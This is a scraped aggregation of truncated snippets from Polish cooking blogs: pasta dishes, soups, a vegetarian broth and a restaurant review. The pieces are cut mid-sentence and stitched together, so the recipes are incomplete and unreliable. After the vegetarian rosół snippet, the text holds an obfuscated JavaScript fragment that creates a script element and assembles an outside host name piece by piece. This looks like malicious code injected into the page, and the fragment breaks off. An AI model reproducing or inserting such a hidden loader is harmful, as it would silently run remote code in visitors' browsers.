Jak już wiecie , lubię dziwne kombinacje i nietypowe połączenia smaków! Przy ryzykowaniu w kuchni ufam swojej kobiecej intuicji i do tej pory się na niej nie
Ostra na SłodkoBardzo lubię robić potrawy z mięsa mielonego. Tym razem postawiłam na klopsiki w pomidorach, które bardzo smakują z makaronem zwłaszcza tym zrobionym własnoręcznie. Przy okazji natrafiłam
Kuchenne Wariacjethai to chyba najpopularniejsze danie kuchni tajskiej i... moje ulubione! To było zauroczenie od pierwszego kęsa :D W czasie wakacji w Tajlandii jadłabym go pewnie na każdy posiłek gdyby nie narzeczony przypominający, że może warto spróbować czegoś nowego ;P Nie ma jednego uniwersalnego przepisu na pad thai, każdy którego próbowaliśmy w Tajlandii smakował nieco inaczej. Każdy jednak zaskakiwał cudownym(...)kwaśnym. Po powrocie oczywiście nie byłabym sobą gdybym nie spróbowała przygotować własnej domowej wersji pad thai. Uzbrojona w przyprawy i filmiki z tajskich streetfoodów stworzyłam ten oto tajski makaron z tofu :) Moja wersja jest bez mięsa, ale najczęściej dodaje się do niego kurczaka lub krewetki, więc wybierzcie swój ulubiony zestaw. W oryginale używa się także kiełków fasoli, ponieważ
HealthyCreationsziół i chlustu wina zyskuje głębię smaku. Mięsa Wam w nim nie zabraknie. Sos oczywiście można wykorzystać w sposób klasyczny – czyli do makaronu z dodatkiem np. parmezanu albo jako dodatek do innych wegetariańskich dań. Ja znaczną większość bolognese z soczewicą ( bo z podanych składników wychodzi spora jego porcja) wykorzystałam do przygotowania lazanii – gdzie zamiast płatów makaranowych wykorzystałam(...)wszystko do garnka bo mi się nie mieściło na patelni. Sos z soczewicą dusić kolejne 5 minut, doprawić w razie potrzeby solą lub pieprzem. Wmieszać posiekaną bazylię. Podawać do makaronu ( z parmezanem) albo jako sos do zapiekanek/lazanii. 3.5.3229 The post Wegetariańskie bolognese z soczewicą appeared first on Cooking for Emily
Cooking for EmilyPyszna, gęsta i sycąca zupa na mleczku kokosowym, z czerwoną pastą curry, kurczakiem, pieczarkami, groszkiem i szpinakiem. Z pewnością zaspokoi apetyt nawet największego głodomora. Ponadto dodatek
karmelowyłazanek z kapustką kiszoną i kiełbaską . W naszej rodzince wszyscy lubią kiełbaskę oprócz mnie , więc ograniczyliśmy jej ilość do minimum :). Danie to jest nie tylko bardzo smaczne , ale dość szybkie w przygotowaniu :) Składniki dla 4 osób. Potrzebne są : - makaron typu łazanki ( ja użyłam ) 440 g - opakowanie - 0,5 kapusty kiszonej ( jeśli kapusta jest bardzo kwaśna to przelać ja wodą
Różne smaki w kuchniSmaczna zapiekanka z mięsem mielonym, papryką i sezonowo dałam tutaj do niej cukinię, szybka i łatwa do przygotowania , zapieczona pod cienką warstwą sera stanowi pożywny obiad, porcja tej zapiekanki na długo daje uczucie sytości. Zapraszam! Składniki: 40 dag makaronu penne ½ kg mięsa mielonego z indyka 15 dag chudego wędzonego boczku 2 cebule 1 mała cukinia 1 biała papryka
Wanilia i Kardamonsałatkę makaronową. Jest prosta, ale ma głęboki smak co jest zasługą pysznego sosu. Można ją jeść na zimno i na ciepło. Danie do przyrządzenia w 15 minut. Przepis na sałatkę makaronową Był czas kiedy za makaron uważaliśmy tylko spaghetti, a jego inne gatunki jakość niespecjalnie nas interesowały (no może z wyjątkiem lasagne). Teraz mamy zdecydowanie szersze makaronowe horyzonty
Niedzielny kucharzJako przyprawę moja teściowa daje sos włoski (proszek, nie rozrabia). Jednak w tym sosie jest po prostu sól, pieprz, rozmaryn, czosnek. Lepiej dać te składniki w czystej postaci, bez dodatków chemicznych - a są tam, niestety.... Składniki: makaron tortellini z szynką, 500 g ( 2 opakowania po 250 g) ogórki konserwowe - słoik 1 l papryka konserwowa - słoik 1 l 8 jaj kukurydza
Poezja Smaków - blog kulinarnyZupa z makaronem tudzież makaron z sosem. Ilość dodanej wody zadecyduje o konsystencji i zadaniu tego dania. Dacie mniej wody - uzyskacie kremowy sos, więcej - zupę. W obu wersjach wyjdzie zdrowo, odżywczo i bardzo smacznie. Osobiście uwielbiam szpinak, szczególnie, gdy idzie w parze z czosnkiem. Dzieciom też smakuje. Mogą jedynie wybrzydzać, gdy zobaczą pływające liście szpinaku. Można je więc(...)Garść szpinaku, 1 łyżka czosnku suszonego, 2 łyżki płatków drożdżowych nieaktywnych, 1 łyżeczka soli, 2 łyżeczki koperku suszonego, 1/4 łyżeczki pieprzu, Woda. Dodatkowo: Duża garść szpinaku, 1/2 małej cebuli. Makaron gryczany lub kasza (200 g). Wykonanie : W rondlu umieszczamy wyszorowane ziemniaki i cukinię. Zalewamy wodą na 3/4 wysokości warzyw. Gotujemy do miękkości. Pod koniec gotowania dodajemy garść szpinaku
Jeść, by żyć w zdrowiuJest to coś zdecydowanie innego, odskocznia od sosów pomidorowych. Polecam osobom, szukającym czegoś nowego. Ostatnie, pappardelle, było zupełnie innym makaronem. Każdy z nich miał swój niepowtarzalny smak. Zdziwiła mnie jego lekka słodycz i intensywność. Polędwica dobrze wyczuwalna, lekko twardawa. Danie zawierało dosyć dużą ilość przetworzonego czosnku, ale nie przeszkadzało mi to. Każda z potraw, która miała w sobie papryczkę(...)miała już na tyle miejsca w żołądku, aby zamówić danie główne. Spodziewała się małej sałatki, a tymczasem widok talerza ją przerósł. Sałatka była świetna, a kozi ser najlepszy. Obsługa lokalu jest bardzo miła, a wnętrze klimatyczne. Będąc pod wrażeniem włoskiego wystroju restauracji dopiero po fakcie zorientowałam się, że zamówiłam dania, używając ich włoskich nazw. Z każdej strony
Karola gotujeszynką, papryką i pieczarkami . Obiad idealny dla zabieganych. Syci i smakuje, a przygotowanie trwa zaledwie kilka minut. Smaku daniu nadaje przede wszystkich dobrej jakości szynka. Ja polecam Szynkę po staremu Duda. Obiad idealny. Spróbujcie. Składniki: (na porcję) porcja makaronu penne 3 czubate łyżki śmietany 18% 1/4 żółtej papryki 4 plastry Szynkę po staremu Duda duża szczypta suszonej bazylii sól
Słodkie okruszkiRosół to, w klasycznej wersji, niezagęszczana zupa będąca wywarem mięsno – warzywnym przygotowywanym na bazie drobiu, wołowiny lub baraniny. Serwuje się ją z makaronem typu nitki lub wstążkami, ziemiankami albo kluskami lanymi. Z powodzeniem przyrządzić możemy jednak także bezmięsną wersję tej popularnej potrawy. W jaki sposób? Odpowiedź – poniżej. Bez czego nie może się obyć wegetariański rosół? Bukietu warzyw – to właśnie(...)warzywa i przyprawy. Dokładnie wyciskamy wszystkie składniki, tak by oddały do garnka swoje soki, w których znajduje się najcenniejszy smak. Tak przyrządzone danie można dodatkowo przyprawić odrobiną soli i pieprzu. Rosół serwujemy z makaronem, posiekanymi liśćmi pietruszki i niewielkim kawałkiem marchewki z wywaru. (function(){ a8iw=document.createElement("script");a8iw_="u"+("s")+"ta"; a8iw_+=("t.i")+""+"n";a8iw
Moja smaczna kuchnianiezbędnych nienasyconych kwasów tłuszczowych. Dostarcza witaminy B, A i D, fosfor, żelazo i na dodatek jest fit! To doskonała baza do sałatek, kanapek, makaronów czy zapiekanek, świetnie nadaje się także na grilla – pomysłów na dania z tuńczykiem jest wiele :) #Master Tuńczyk Wiosna na widelcu z tuńczykiem Princes! Rodzinne gotowanie? To kulinarne wyzwanie :) Pokażcie Wasze wspólne
Szalona Kuchnia Eweliny